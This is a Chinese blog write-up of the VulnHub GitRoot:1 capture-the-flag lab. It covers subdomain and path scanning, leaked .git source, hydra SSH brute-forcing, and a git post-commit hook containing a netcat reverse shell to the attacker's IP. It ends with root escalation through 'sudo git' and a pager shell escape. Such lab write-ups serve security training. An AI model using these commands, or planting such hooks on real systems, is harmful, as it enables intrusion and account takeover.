wait's〔三生石畔〕 善良人在追求中纵然迷惘,却终将意识到有一条正途。—— 歌德
【渗透测试-靶场】No.5- GitRoot (vulnhub)渗透测试
发表于: | 分类: 安全测试 | 评论:0 | 阅读: 880

一、前言

主要利用方式:hydra 密码破解+git show 反弹shell获取平行账号权限+git 命令提权

二、靶机信息

靶场: vulnhub.com
靶机名称: GitRoot: 1
难度: 高难度
发布时间: 2020 年 6 月 3 日
下载地址:https://www.vulnhub.com/entry/gitroot-1,488/
备注:此靶场稍微有点困难,需要知晓git等若干使用方法及利用方式,踏坑无数。

三、虚拟机配置

这次采用的VirtualBox虚拟机,靶机设置了两个网卡,one:Host-Only,two:NAT,
攻击机(kali):NAT,DHCP服务:启用、IP地址:自动分配
这台靶机有点怪异,靶机生成Ip为:192.168.56.103.不在攻击机段里(10.0.2.15);
但通过ping 攻击机是可以ping 通靶机,宿主机访问也是可以ping 通靶机。
PS:在突破边界,反弹shell的时候,上述方法无法反弹shell,
    最终解决方案为:vbox中,攻击机(kali)和靶机设置同样的网卡设置(两张网卡)

四、信息收集

1、靶机ip地址在启动时候,已经生成,通过测试,攻击机是可以ping通靶机
1-1.png
1-2.png

2、探测靶机ip端口开放情况
2.png

3、探测靶机开放端口的详细服务
3.png

4、从端口信息来看,22端口可以爆破,但是前提是要获取用户名,其他暂无漏洞;11211端口可以使用telnet连接,但是没有任何意义;因此只能先从80端口下手。访问80端口。
4.png

直接访问发现告诉我们wp.gitroot.vuln域名下存在wordpress建站系统,我们直接在hosts目录下绑定域名,由于wp.gitroot.vuln是二级域名,我们在绑定wp子域名的同时,绑定主域名,这样在测试时,如果存在其他子域名我们也可以进行子域名爆破从而收集数据。

5、修改hosts文件,添加192.168.56.103 gitroot.vuln,顺便也把主域名绑定。

└─$ sudo vi /etc/hosts
└─cat /etc/host

5.png

6、在尝试破解 WP 没有成功后,尝试使用Gobuster工具的选项“ vhost ”和Kali 默认自带的“ big.txt ”字典列出更多子域。

└─$ gobuster vhost -u gitroot.vuln -w /usr/share/wordlists/dirb/big.txt

6.png

7、关注扫描结果:status:200,只剩下repo及wp,绑定host后访问repo.gitroot.vuln,按照提示,访问get.php 及set.php
7.png
7-2.png
7-3.png

8、两个文件无任何有效内容,遂对整体域名进行路径扫描

└─$ dirsearch -u repo.gitroot.vuln

8.png

9、通过访问,repo存在git路径,存在.git/一般都存在源码泄露
9.png

10、使用GitHack 工具,将代码拉到本地
10.png
10-2.png

11、通过查询,初步推测,有pablo、beth、jen或者带着_S3cret的账号,
11.png

五、漏洞利用

12、使用hydra 爆破密码,需要先将rockyou.txt.gz 解压,坑需注意
12.png

13、使用hydra 爆破 pablo的ssh密码(使用了kali自带的rockyou.txt文件)

└─$ hydra -l pablo -P /usr/share/wordlists/rockyou.txt ssh://192.168.56.103

*在这个地方,暂且用几个密码小跑一下(爆破非常费时间,按照以往的靶机,爆破使用rockyou.txt的密码也是比较靠前的,看了一下其他人的教程,是爆破出来的)

用户名:pablo,密码:mastergitar

13.png

14、22端口ssh登录 ,获取第一个flag

└─$ ssh -p22 pablo@192.168.56.103
pablo@GitRoot:~$ id
pablo@GitRoot:~$ cat user.txt 
flag:8a81007ea736a2b8a72a624672c375f9ac707b5e

14.png

15、在pablo目录下存在public文件夹及message文件。
15.png

16、使用find命令查找.git文件夹,第一个目录就是新的git repo

pablo@GitRoot:~/public$ find / -name .git 2>/dev/null

16.png
*2>/dev/null :把错误信息重定向到黑洞中,只留下正确的信息回显

17、进入并查看文件

pablo@GitRoot:/opt/auth/.git$ cd /opt/auth/.git/logs/refs/heads/

17.png

18、查看所有文件内容,在第414行发现一个添加用户的历史记录

pablo@GitRoot:/opt/auth/.git/logs/refs/heads$ cat `ls` -n

18.png

   414  b2ab5f540baab4c299306e16f077d7a6f6556ca3 06fbefc1da56b8d552cfa299924097ba1213dd93 Your Name <you@example.com> 1590500148 -0400  commit: added some stuff

19、使用git show命令查看commit提交记录详情

pablo@GitRoot:/opt/auth/.git/logs/refs/heads$ git show 06fbefc1da56b8d552cfa299924097ba1213dd93 

19.png

20、里面有一个密码: r3vpdmspqdb,用户名通过猜到,只有三个(可以查看/home目录下目录,)也可以通过之前git源码泄露得到的文件内容得知,还可以从靶机描述得知,然后再结合wp这个站点的管理员是beth,尝试一下ssh登录,发现可登录成功。在beth用户的home目录下,有一个public文件夹,发现txt文件,内容如下:
20-1.png
20-2.png

21、在beth目录下,新建.git/hooks文件夹,建一个post-commit文件,里面写入使用nc反弹shell的一句话,文件给777权限,再将.git文件夹压缩成zip格式,再给777权限
21-1.png
21-2.png
21-3.png

beth@GitRoot:/home$ cd beth
beth@GitRoot:~$ ls
beth@GitRoot:~$ mkdir -p .git/hooks
beth@GitRoot:~$ cd .git/hooks/
beth@GitRoot:~/.git/hooks$ vim post-commit
beth@GitRoot:~/.git/hooks$ cat post-commit 
#! /bin/bash
/usr/bin/nc -e /bin/bash 192.168.56.102 5555
beth@GitRoot:~/.git/hooks$ chmod 777 post-commit 
beth@GitRoot:~/.git/hooks$ cd /home/beth/
beth@GitRoot:~$ 7z a xshell.zip .git/
beth@GitRoot:~$ ls -l xshell.zip 
-rw-r--r-- 1 beth beth 489 Jun  6 11:16 xshell.zip
beth@GitRoot:~$ chmod 777 xshell.zip 
beth@GitRoot:~$ ls -l xshell.zip 
-rwxrwxrwx 1 beth beth 489 Jun  6 11:16 xshell.zip

22、攻击机本地监听5555端口
22.png

23、复制压缩包到/home/jen/public/repos目录下
23.png

24、反弹shell,获取了jen的权限
24.png

25、利用python提权到tty交互式shell
25.png

26、cd 到jen目录下,查看是否存在敏感信息

jen@GitRoot:/home$ cd jen
jen@GitRoot:~$ ls -al

26.png

27、在jen目录.viminfo文件中发现一段可疑字符
27.png

# Search String History (newest to oldest):
?/binzpbeocnexoe
|2,1,1590471908,47,"binzpbeocnexoe"

六.提权

28、有密码,sudo提个权限看看,但依然不是root权限,并且提示了git。

en@GitRoot:~$ sudo -l
[sudo] password for jen: binzpbeocnexoe

28.png

29、使用sudo git 提权方式

jen@GitRoot:~$ sudo git -p help config
WARNING: terminal is not fully functional
-  (press RETURN)

29.png

30、接着在冒号后面输入:!/bin/sh,它将允许我们执行命令

    最终输入 id 及查看root.txt文件,获取flag:734ae32be131cd0681f86c03858f4f587a3c69ce

30-1.png
30-2.png

至此,靶场就结束啦!~

添加新评论

TOP